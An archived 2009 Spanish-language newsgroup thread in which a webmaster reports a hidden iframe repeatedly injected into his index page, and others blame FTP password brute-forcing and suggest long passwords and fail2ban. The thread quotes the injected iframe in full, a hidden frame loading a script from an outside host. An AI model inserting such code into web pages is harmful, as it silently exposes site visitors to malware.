🚀 go-pugleaf

Para Linux conozco este:
http://www.fail2ban.org/wiki/index.php/Downloads


Marious wrote:

> On 08/16/2009 01:38 AM, News VTR wrote:
>> Estimados, el ataque se realiza a trav�s del servicio de FTP.
>>
>> El procedimiento es que ponen un algoritmo de descifrador de cuentas FTP
>> y lo dejan corriendo sobre una lista de sitios (puede que sea un robot
>> programado para esto), una vez descifrada la pass, la guarda y los tiene
>> parque inyectando el famoso HTML que inserta una linea con un frame de
>> otro lado.
>>
>> Para parar estos ataques, les recomiendo que hagan cambio de sus pass de
>> FTP cada cierto tiempo, ojal� sea generado por algun algoritmo de
>> generacion de codigos. A medida que vayan generando esta pass (una vez al
>> mes, por ejemplo), guardenla y haganse el h�bito de cambiarla a cada rato
>> (una vez al mes est� bien). Si la Pass que generan resulta de alta
>> dificultad para estos robots, entonces haganlo solo una vez, o hasta que
>> les pase nuevamente.
>>
>> A mi me pasaba, hasta que deduje que este era el motivo, me hice el
>> habito de cambiar la pass del FTP y todo solucionado.
>>
>> Salu2,
>> antxb4nx23r
>>
>>
>> "News VTR"<reeddume@gmail.com>  escribi� en el mensaje
>> news:h4k8ht$ujb$1@news.nivel5.cl...
>>> Una pagina index he tenido que corregirla varias veces, porque de
>>> repente aparece "desplazada" hacia abajo.
>>> Mirando el codigo, resulta que APARECE un iframe que yo no he puesto y
>>> que produce el desplazamiento.
>>> El codigo "intruso" es este:
>>> <iframe src="http://u1j.in:8080/ts/in.cgi?pepsi109" width=125 height=125
>>> style="visibility: hidden"></iframe>
>>>
>>> �como puede haberse "metido" al codigo, y ya en el Servidor?
>>>
>>> �Alguna experiencia al respecto?
>>> �Que se puede hacer?
>>>
>>> So no + y gracias
>>>
>>
>>
> 
> No creo que haga falta cambiar cada cierto tiempo aunque igual
> puede servir.
> 
> Si es un robot estos hacen ataques de fuerza bruta a las contrase�as.-
> Osea intentan cada combinaci�n hasta acertar a la correcta.
> Si tu contrase�a era de menos de 5 caracteres entonces la encontraron
> rapido... pero si haces una larga de digamos 25 caracteres, ah�
> nunca..... probablemente a�os.
> 
> �Igual no sabes si hay alguna forma de que el servidor detecte los
> ataques y filtre las ips de donde se originan?